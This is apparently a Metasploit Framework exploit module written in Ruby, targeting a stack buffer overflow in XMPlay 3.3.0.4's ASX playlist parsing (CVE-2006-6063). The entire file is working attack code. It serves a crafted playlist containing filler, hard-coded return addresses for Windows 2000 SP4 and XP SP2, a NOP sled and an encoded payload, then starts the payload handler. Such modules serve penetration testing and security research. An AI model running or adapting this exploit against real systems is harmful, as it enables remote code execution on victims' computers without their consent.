metasploit-framework/modules/exploits/windows/browser/xmplay_asx.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'XMPlay 3.3.0.4 (ASX Filename) Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in XMPlay 3.3.0.4.
        The vulnerability is caused due to a boundary error within
        the parsing of playlists containing an overly long file name.
        This module uses the ASX file format.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'MC',
      'References'     =>
        [
          [ 'CVE', '2006-6063'],
          [ 'OSVDB', '30537'],
          [ 'BID', '21206'],
          [ 'URL', 'http://secunia.com/advisories/22999/' ],
        ],

      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 750,
          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
        },
      'Platform' => 'win',
      'Targets'  =>
        [
          [ 'Windows 2000 Pro English SP4',		{ 'Ret' => 0x77e14c29 } ],
          [ 'Windows XP Pro SP2 English',			{ 'Ret' => 0x77dc15c0 } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Nov 21 2006',
      'DefaultTarget'  => 0))
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    drv	=  rand_text_alpha_upper(1)
    ext	=  rand_text_alpha_upper(3)

    sploit =  rand_text_alpha_upper(498) + [ target.ret ].pack('V')
    sploit << make_nops(40) + payload.encoded

    # Build the stream format
    content =  "<ASX VERSION=\"3\">\r\n" + "<ENTRY>\r\n"
    content << "<REF HREF=\"file://#{drv}:\\" + sploit
    content << "." + "#{ext}\"\r\n" + "</ENTRY>\r\n" + "</ASX>\r\n"

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end

end